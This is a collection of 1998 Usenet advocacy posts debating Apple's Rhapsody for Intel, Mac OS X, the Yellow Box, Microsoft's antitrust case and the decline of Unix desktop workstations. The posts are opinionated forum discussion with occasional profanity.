Date: Mon, 25 May 1998 21:57:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kcph6$1le$1@nnrp1.dejanews.com>
References: <6kc839$5m5$1@uuneo.neosoft.com> <B18F0B8D-9EEE@206.165.43.100>
This GX/DPS is awsum/crap stuff has gone on long enough. You know what the
problem is? Most people don't know much about either and nobody seems to be
well informed about both. So there is no basis for effective discussion.
I think that if I made a list of the pros and cons of both technologies,
based on what I have heard from these discussions, each list would have about
five items. These discussions have had a pathetically low information
density. So why don't we either raise the level of the discussion to
something useful or throw it away all together.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 25 May 1998 22:57:40 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mjtr2.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jv1bk$hu3@flonk.uk.sun.com>
On 20 May 1998 16:45:40 GMT, Jeff Richmond - SUN UK - SSIR wrote:
:In article <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
:> {how Sun is like Apple, but Sun keeps x86 Solaris around}
:>
:>Sun has the same business model as Apple.
:>
:>Right down to the not-profitable-but
:>really-cool-cross-platform-software-technology-we-are-trying-to-make
:>universal division: Java (Sun), Quicktime (Apple).
:>
:
:Excellent points ... Sun and Apple do indeed have almost the same business
:model. Target markets are totally different however ... does Apple have
:any intention of attempting to gain a foothold in corporate IT?
I don't know. I don't see why not, unless it is an attempt to avoid getting
targeted by Microsoft.
Speaking of Sun, we are considering a purchase of new workstations here.
They will be either x86 boxes running Linux or Sparc Ultra 5/10's, or a
combination of the two. Our recent purchases have been exclusively
x86/Linux, because of the substantial price/performance advantage. The Sun
representative suggested we put on Solaris x86 on the x86 machines we're
keeping around *at no charge*, even if we don't get any Sparcs, although
that is clearly what they want to sell to us. Very interesting that Sun
thinks that way, when Apple clearly does not.
Via UCSD we get site-licensed Sun compilers too.
There is one more very good reason to have MacOS x86, even more important
for the consumer market:
So 'Virtual PC' can run at native speed so that consumers can play
all the PC games at full speed.
:Many others have stated this but it might be worth saying again: Microsoft
:is the only major player in the industry to have a software-driven business
:model.
I agree. It is terminally foolish to wholly adopt Microsoft's business model,
as some people have suggested when they say that Apple get out of hardware
completely.
If Apple really is making all the OpenStep libraries fully ``Java Native''
as they claim it seems that Sun and Apple could have a mutual business
interest; either Sun licensing JavaStep (for the second time, ahem) or a
complete buyout. It is already perplexing that Sun DIDN'T license OpenStep
from NeXT and start converting it to Java a long time ago back when
everybody said "Java is great, but the UI library is lousy."
Didn't anybody realize how long it takes to craft a really good library?
As you say, Sun and Apple have very few overlapping customers.
Much of the appeal of Windows NT, is unfortunately the perception that a
"end-user based" operating system will accumulate more user-friendly
software.
From this point of view, MacOS X/x86 is more appealing than Solarix/x86.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lets Get Real
Date: Mon, 25 May 1998 09:15:31 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtI9pw.G2x@AWT.NL>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982220520001@209.24.240.108> <see-below-1905982223150001@209.24.240.108> <6jukuc$79b@nrtphc11.bnr.ca>
Matthew Cromer <matthew_cromer@iname.com> wrote:
>I think the real reason to kill Rhapsody for Intel is to keep Microsoft
>from seeing Apple as a threat.
So the deal was:
Apple gets $150
Lawsuits are settled
* Microsoft keeps supporting MSOffice (but without Access)
* Apple drops Rhapsody/intel after 1.0
Am I generating noise here, or what?
--G
From: jtech1197@yahoo.com (j)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <3569f618.13218072@news>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com>
Date: Mon, 25 May 1998 23:02:12 GMT
NNTP-Posting-Date: Mon, 25 May 1998 16:02:12 PDT
Organization: @Home Network
On Mon, 25 May 1998 17:21:52 -0500, anewmanagn@ideasign.com (Allen
Newman) wrote:
>All Apple is "abandoning" pie in the sky. The Mac OS X strategy is a
>much-needed dose of sanity. The idea of Rhapsody someday running on 100%
>of desktops is a wonderful vision, but unrealistic without lots of killer
>Yellow apps to sell the thing, not to mention compatibility with existing
>x86 apps. Remember, Apple makes its money from computers -- how would
>they make money from Rhapsody for Intel? Microsoft makes money by
Don't make me laugh. You actually think Apple was and could make an
OS that could run on the Wintel platform? Apple couldn't make an OS
for the Wintel platform in their dreams. They have a hard enough
time making a usable OS for their own hardware spec. It's only a ploy
to instill confidence in their user base and improve world opinion of
their vitality. Some fell for it, I hope most didn't.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 25 May 1998 23:21:18 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com>
On Sun, 24 May 1998 16:49:07 GMT, dpetticord@hotmail.com wrote:
:I am encouraged that you were open-minded enough to concede the possible
:usefullness of the Windows98 integration.
The Windows98 ''integration'' is primarily useful when HTML rendering and
HTTP processing library calls are available in the operating system.
This part of "Browser Integration" is the most defensible by Microsoft, as
it is clearly adding value without obvious anti-competitive consequence.
{One must assume of course that the API is complete, functional, and allows
anybody to build browsers using them.}
It's everything else surrounding the IE and all the OEM licensing issues
which are very suspicious.
Because software is very malleable and packagable in all sorts of forms,
I do not think that any company should be able to legally immunize itself
against all anti-trust scrutiny or regulation by packing a few actual
improvements with a whole lot of questionable junk.
It is as transparent a ruse as in the recent case concerning violations
of the previous consent decree. I.e. if Microsoft is able to circumvent
any "anti-bundling" provision by the merest dose of (perhaps needless)
technical ''integration'', it renders the regulation to be meaningless.
This is not the way law is supposed to work.
Frankly, this sort of specific, careful separation of concerns is precisely
why a technically qualified special master ought to be at the center of this
case. It appears to me that Microsoft doesn't want this to occur because
exposing the actual facts may not advance their business.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 17:28:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3569F091.B6F1C6D1@milestonerdl.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news>
Mime-Version: 1.0
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NeXT, the company Apple bought made an OS that ran JUST fine on Intel.
Or, are you ignoring that J?
j wrote:
> On Mon, 25 May 1998 17:21:52 -0500, anewmanagn@ideasign.com (Allen
> Newman) wrote:
>
> >All Apple is "abandoning" pie in the sky. The Mac OS X strategy is a
> >much-needed dose of sanity. The idea of Rhapsody someday running on 100%
> >of desktops is a wonderful vision, but unrealistic without lots of killer
> >Yellow apps to sell the thing, not to mention compatibility with existing
> >x86 apps. Remember, Apple makes its money from computers -- how would
> >they make money from Rhapsody for Intel? Microsoft makes money by
>
> Don't make me laugh. You actually think Apple was and could make an
> OS that could run on the Wintel platform? Apple couldn't make an OS
> for the Wintel platform in their dreams. They have a hard enough
> time making a usable OS for their own hardware spec. It's only a ploy
> to instill confidence in their user base and improve world opinion of
> their vitality. Some fell for it, I hope most didn't.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Mon, 25 May 1998 16:39:48 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9ldn2.wey5o41nx46nwN@carina25.wco.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99>
There appears to be some confusion on this thread (big suprise there...)
about the use of a digital signal processor in the NeXT hardware. The
Digital Signal Porcessor was used primarily for sound synthesis,
sound-related signal processing, and as a 'smart' port for a few pieces
of hardware, notably Digital Eyes, Digital Ears, and the Yrrid fast
serial port.
The Digital Signal Processor was not used for display graphics, 2D or 3D
rendering, or to accelerate Display PostScript. The overhead of moving
data to and from the 56001 DSP memory would swamp any possible
performance gain for almost all graphics work.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 25 May 1998 23:36:33 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mk040.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <joe.ragosta-1805980753270001@wil100.dol.net> <ericb-1805981402150001@132.236.171.104> <see-below-1805981822160001@209.24.240.36> <joe.ragosta-1905980801140001@wil104.dol.net>
On Tue, 19 May 1998 08:01:13 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:> ----------------- Begin forward message -----------------
:> Subject: Re: Rhapsody/Yellow Box - RIP, Not!
:> From: Jordan Dea-Mattson <xxxxxx@apple.com>
:> Date: Wed, 13 May 1998 20:04:25 -0700
:>
:> Dear Julian -
:>
:> Apple will be delivering Rhapsody 1.0 for Intel and will continue to
:> deliver Rhapsody for Intel. Bertrand stated this clearly in his keynote.
:>
:> We are not planning Carbon for Rhapsody and we are not planning Carbon
:> for Windows. Yellow Box is our cross-platform API.
:Matthew,
:I read that, but I've received other very, very reliable information that
:contradicts it. I really hope that Apple's not stupid enough to cancel
:Rhapsody for Intel, but I have to consider it uncertain _at best_.
:I'd encourage everyone to write to Apple to let them know that they should
:NOT discontinue Rhapsody/Intel.
Read carefully. Rhapsody/Intel is going to stay. However, MacOS X,
being the successor to Rhapsody on PPC hardware, is not going to be on
Intel in any form. That is, all the improvements to the Mach and OpenStep
part which come between Rhapsody and MacOS X are not going to go to Intel.
This is a political, not technical, decision.
I don't know what would happen if they kept on selling Rhapsody/Intel
for a long time past MacOS X is there. The potential for API
incompatibilities is worrisome.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: BinaryBillTheSailor@Sea++.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Tue, 26 May 1998 01:23:35 GMT
Organization: ICGNetcom
Message-ID: <356a183c.183206318@nntp.ix.netcom.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44>
On Mon, 25 May 1998 18:19:15 -0700, see-below@not-my-address.com
(Matthew Vaughan) wrote:
>
>Interesting viewpoint, which ignores the fact that Apple already has an
>operating system that runs very well in Intel, one that most people
>already consider vastly superior to Windows NT in most regards
>(applications availability being the big problem).
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
How do you support the qualifier "Most People" in your statement. Do
you mean "Most people in the same room as me?" "Most people who agree
with me?" " Most people who wear plaid boxer shorts"? "Most people
with a limited understanding ofd the world?" Which "most people" are
you speaking for here? Speak for yourself.
####################################################################
From: jtech1197@yahoo.com (j)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <3569ff8c.15639297@news>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <3569F091.B6F1C6D1@milestonerdl.com>
Date: Mon, 25 May 1998 23:40:11 GMT
NNTP-Posting-Date: Mon, 25 May 1998 16:40:11 PDT
Organization: @Home Network
On Mon, 25 May 1998 17:28:33 -0500, m rassbach <mark@milestonerdl.com>
wrote:
>NeXT, the company Apple bought made an OS that ran JUST fine on Intel.
>
>Or, are you ignoring that J?
I am DEFINITELY ignoring next. But you missed my point, Apple doesnt
have the resources or the balls to make a succesful OS for the Wintel
platform.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 25 May 1998 22:31:07 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mjs99.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28> <6jvctf$6p8$2@msunews.cl.msu.edu> <6k8joc$bq$1@news.orbitworld.net> <6k9hpl$73e@bgtnsc02.worldnet.att.net>
On 24 May 1998 16:27:33 GMT, HARRY HASTAIN <HHASTAIN@worldnet.att.net> wrote:
:I wonder, given the numerous blunders MS has made in its attempts to spin
:public sentiment and to manipulate the DOJ during the process. All I've
:seen from Redmond is an "innovation" line drawn in the sand whereby they
:cry with righteous indignation when crossed. If their performance to date
:is any indication of what their future strategy will be, not even Johnny
:Cochrane will be able to save them.
:
:And I'll bet the DOJ is going to use secret MS documents showing how MS
:sought to squash the innovation of other competitors, using MS' own rope to
:hang them.
It doesn't matter. Unless Bill Gates is personally convicted of a felony
and imprisoned in high security in a manner prohibiting contact with any of
his executives {i.e. what they do to mob bosses}, Microsoft as a corporation
will continue to do exactly as it has done.
Since the DOJ investigations started a few years ago, what has actually
changed on the street, in the real market??? Nothing. No significant
practice has been restricted. No change in the market has happened. No new
competitor to Microsoft in a SINGLE product category in which Microsoft
competes has appeared and no old one has improved its position. No PC
manufacturer is starting to bundle new non MSFT software where Microsoft
competes.
Despite the hype and angst, nothing has changed.
Windows 98 has been shipped to manufacturing. No court will stand the
political heat to stop any new product.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 18:19:15 -0700
Message-ID: <see-below-2505981819150001@209.24.240.44>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news>
In article <3569f618.13218072@news>, jtech1197@yahoo.com wrote:
> On Mon, 25 May 1998 17:21:52 -0500, anewmanagn@ideasign.com (Allen
> Newman) wrote:
>
> >All Apple is "abandoning" pie in the sky. The Mac OS X strategy is a
> >much-needed dose of sanity. The idea of Rhapsody someday running on 100%
> >of desktops is a wonderful vision, but unrealistic without lots of killer
> >Yellow apps to sell the thing, not to mention compatibility with existing
> >x86 apps. Remember, Apple makes its money from computers -- how would
> >they make money from Rhapsody for Intel? Microsoft makes money by
>
> Don't make me laugh. You actually think Apple was and could make an
> OS that could run on the Wintel platform? Apple couldn't make an OS
> for the Wintel platform in their dreams. They have a hard enough
> time making a usable OS for their own hardware spec. It's only a ploy
> to instill confidence in their user base and improve world opinion of
> their vitality. Some fell for it, I hope most didn't.
Interesting viewpoint, which ignores the fact that Apple already has an
operating system that runs very well in Intel, one that most people
already consider vastly superior to Windows NT in most regards
(applications availability being the big problem).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: Mon, 25 May 1998 20:50:11 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6kd784$13a61@odie.mcleod.net>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com> <6jssi9$v7p$1@crib.bevc.blacksburg.va.us> <35617d4b.4769378@news.sydney.apana.org.au>
Raj Thomas wrote in message <35617d4b.4769378@news.sydney.apana.org.au>...
>>> Will a developer be able to develop YellowBox apps with Win98/NT
>>> native tools?
>
>>Win98/NT native as in MFC-based tools or something? A developer will be
>>able to use YellowBox-based tools to develop YellowBox apps on Windows.
>>Why would you want MFC-based tools?
>
>Because otherwise, the apps are likely to look "un-Windows-like" ,
>thus decreasing its appeal to Windows users ( aka sheep ).
The YellowBox apps that are built for Windows are very good Windows
citizens. My customers have widely deployed YellowBox applications and the
"sheep" have never complained about "un-Windows-like" look or feel. If you
do not look beyond MFC and Visual-C++, you are doomed to the lowest common
denominator.
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 21:29:10 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6kd61h$483$1@news12.ispnews.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44>
NNTP-Posting-Date: 26 May 1998 01:31:29 GMT
x-no-archive: yes
Matthew Vaughan wrote:
>In article <3569f618.13218072@news>, jtech1197@yahoo.com wrote:
>
>> On Mon, 25 May 1998 17:21:52 -0500, anewmanagn@ideasign.com (Allen
>> Newman) wrote:
>>
>> >All Apple is "abandoning" pie in the sky. The Mac OS X strategy is a
>> >much-needed dose of sanity. The idea of Rhapsody someday running on 100%
>> >of desktops is a wonderful vision, but unrealistic without lots of killer
>> >Yellow apps to sell the thing, not to mention compatibility with existing
>> >x86 apps. Remember, Apple makes its money from computers -- how would
>> >they make money from Rhapsody for Intel? Microsoft makes money by
>>
>> Don't make me laugh. You actually think Apple was and could make an
>> OS that could run on the Wintel platform? Apple couldn't make an OS
>> for the Wintel platform in their dreams. They have a hard enough
>> time making a usable OS for their own hardware spec. It's only a ploy
>> to instill confidence in their user base and improve world opinion of
>> their vitality. Some fell for it, I hope most didn't.
>
>Interesting viewpoint, which ignores the fact that Apple already has an
>operating system that runs very well in Intel, one that most people
>already consider vastly superior to Windows NT in most regards
>(applications availability being the big problem).
Kinda stretching for your point there, Matthew. Most people do NOT
already consider Rhapsody or Next vastly superior to Windows NT
in most regards. Maybe you've been reading the Rhapsody Listservs
too much, but I'm sure that many on the Amiga mailing lists say
the exact same thing.
Z
Date: Tue, 26 May 1998 11:51:47 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net>
<joe.ragosta-2005981154020001@wil132.dol.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <356a25de.0@news.camtech.net.au>
In article <joe.ragosta-2005981154020001@wil132.dol.net> , joe.ragosta@dol.net
(Joe Ragosta) wrote:
>In article <6jslbi$i4k1@odie.mcleod.net>, "Michelle L. Buck"
><buck.erik@mcleod.net> wrote:
>
>> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
>> spent on drivers for OS/2 as something they do not want to suffer. Apple
>
>This is bogus for the reasons I've cited earlier.
>
>> clearly believes that they can not afford to provide the Apple experience to
>> Intel customers. Ironically, if not for the assumed driver costs, Rhapsody
>> Intel could be very profitable. The margins on Rhapsody Intel could be much
>> higher than hardware margins. Assumed driver costs and LET'S BE HONEST the
>> absence of Microsoft Office for Rhapsody Intel have doomed the product.
>>
>> Apple is right to a large extent. No computer without Microsoft office is a
>> mass market contender today. The standard used to be the ability to read
>> and write DOS floppies. Now the minimum standard is an up to date copy of
>> Microsoft Word. .doc files are the industry accepted interchange format for
>> formatted text!
>
>Really? What about all the SGI computers in use? Or all the MIPS
>workstations? Or the 10 million Linux users? Apple claimed (on Rhapsody
>Developers' mailing list) that they need $100 million in revenues to
>justify Rhapsody/Intel. That's 1 million customers at $100 each. Given the
>number of disenfranchised Windows users, the number of Mac users forced to
>buy a Wintel box, the number of Linux users, and the number of users of
>other Unices, that is not outside the realm of possibility.
Unfortunately, I think we are seeing the flip-side of the "150 million"
investment in Apple. Either that or Apple has again become completely clueless.
There are, of course, valid reasons for Apple not wanting to give a Rhapsody
Intel. The most promonent is PRICE. The fact is that Apple cannot privide (as
yet) the price of a knock-off clone (note I am not talking price/performance
here, just price). For example, in Australia the cheapest Mac I can get right
now is over Aus$2300. I can get a P II 300 system for Aus$1700 and a pentium
MMX machine for less than Aus$1200. People worry about price.
Ok now we have that established look at the problems this could cause for Apple.
It would effectively act as a Clone business over again but on a MAJOR scale.
Since the majority of Apple's revenue comes from hardware any hit to that
hardware sale will HURT Apple. There is simply no getting around it.
I know of at least three people where I work that would install Rhapsody Intel
in a minute if it was released. However, these same people will NOT buy Apple
hardware because they can get cheaper Intel hardware. Now it is all very well
to say that people will pay for performance, but the truth is people are tight
and close-enough is good-enough. If anyone is unsure of this just look at the
proliferation of Windows or the number of Fords compared to Mercedes out there.
So, if anyone can think of a good way of stopping migration away from the
PowerPC to Intel in the short term (and just saying that the performance of the
PowerPC will show them will not do) I will gladly yell as loud as I can to
Apple to stop this nonsense of not supplying RhapTel. But at the moment do this
would ultimately kill Apple.
I have no idea how to get around this problem and that is sad because it will
deny a lot of people the chance to use the Next generation OS and free them from
the Windows monopoly. It will also slow the adoption of Rhapsody and Apple's
resurrence. Ironic is it not?
Tim Priest
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 21:51:43 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6kdarj$fc03@odie.mcleod.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net> <6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net> <6kbo5o$qt5$2@ns3.vrx.net> <3569CEFA.836979BC@nstar.net>
Michael J. Peck wrote in message <3569CEFA.836979BC@nstar.net>...
[Deleted]
>If Apple says it will ship Rhapsody on Mac, Windows, Linux, Solaris, and
>DEC Unix, I have absolutely no doubt they'll do something like that. I
>would even expect to see versions running in beta within, oh, a year.
>
>MY skepticism would come into play right about the time such products
>ship. I'd be looking for a Steveing on the whole thing at just about the
>point Rhapsody began to get some good press. "What, the product's
>successful? Kill it!"
>
Apple has an icredible brand name as Jobs says. In the enterprise
(corporate) world, that brand is universally recognises as "NOT FOR
BUSINESS". Beleive me, at many many companies, a manager that approved a PO
for Macs would be fired within the week. The well known brand is that
strong. The only way my customers and I can keep the pressure off our
expensive vertical Openstep applications is to avoid all mention of Apple.
If asked, we appologetically explain that Apple bought out NeXT so it isn't
really Apple tainted. Even then, we have to pursuade people that Apple is
not about to dump YellowBox.
[Deleted]
>> At this point Apple does not have the manpower needed to complete a
Linux
>> port, or any other than the current deliverables. They have no ability
to
>> deliver these so obviously, as you note, they shouldn't say they are
going
>> to.
>
>BULLSHIT. A Linux port from BSD sources?!? Are you fucking around with
>me?
>
It is not a technical issue. It is a quality issue and a matter of proper
support. The YellowBox for NT effort is/was much harder than YellowBox for
Linux would be. Of course, NT developers actually buy software.
>> In fact this is the big issue for the Intel version in general. The
number
>> of Mach||YB-savvy people in Apple is too small as it is.
>
>Oh, for the love of God, if it's so hard to port the product is major
>bomb anyway. The problem with your argument is that I don't believe it
>for a second. I don't know what Mach has to do with a Linux port anyway.
>
>> A very large market? Surely you jest. Could this market for GUI
desktop
>> apps be larger than, say, 5 million? I seriously doubt it.
>
5 million dollars is nothing in the enterprise world. Many IT departments
spend that much each year on backups alone.
>5 million dollars? Are you joking? Please say that you are. FedEx spent
>at least that much money every 6 months on revising its weather-tracking
>software.
>
>Maybe you mean 5 million seats. Who cares how many seats are involved? I
>thought this was about revenue.
>
Unfortunatly, it is all about seats. Solaris worksations are just as doomed
(more) than Macs. This is all about market share and developer support.
There will always be big servers in an air conditioned rooms with fire
suppression. The days of Unix worksations on the desk are over. If FedEx
is building new Motif GUIs for client applications, it had better be because
FedEx already has lots of Unix workstations that they are not yet ready to
scrap. If FedEx is buying new Unix workstations to run Motif client
applications, someone is due to be fired. The reality is that cheap PCs
running NT (or even Openstep) blow away Unix workstations in
price/performance, application availability, etc. I doubt there is any
technical reason remaining to build Motif client apps in prefference to
win32 or Openstep client apps. Remember, I am talking about CLIENTS.
Run Oracle on the server in the closet. Access it from a PC and write the
occasional Word document with the same computer.
>> And this is used by exactly how many people? 50k? Is this the "large
>> market" you refer too?
>
>What... You don't understand the corporate market, I guess. This isn't
>about seats.
>
Listen, I don't know about Maury, but I have worked in the corporate market
for more than 10 years. My company makes all of its current revenue from
sales of expensive custom vertical applications some of which run on Solaris
and Dec Unix. I was a delegate to the early OSF meetings and I worked in a
Fortune 100 company building RPC distributed C++ applications with Openlook
and Motif GUIs. Unix workstations on the desk are just as dead now as we
all used to say VMS mainframes were then. The war is over. Wintel won.
Ask any Fortune 500 IT director and he/she will tell you that it is getting
less and less likely that any Unix worstation PO will be approved. These
guys buy PCs in lots of 1000.
>> > Just out of curiosity, what makes you say this?
>>
>> The simple fact that more people run MacOS than all Unixes combined,
and
>> likely outnumbers desktop deployment 10 to 1. The fact that Windows
>> outnumbers MacOS in the same way by another 10 to 1.
>>
>> It's called "basic math".
>
>The amount of money spent on a Unix user as compared to a MacOS user is
>probably also 10 to 1.
>
This is one of the main reasons Unix desktop workstations are doomed.
Another one it the fact that each employee has to have access to a Wintel
machine also in order to fill out that expense report, reply to customer
questions, work on proposals, and write memos. If you have to have the PC
anyway and it outperforms the workstation and its software (even the same
application) is 1/10 the cost, scrap the workstation.
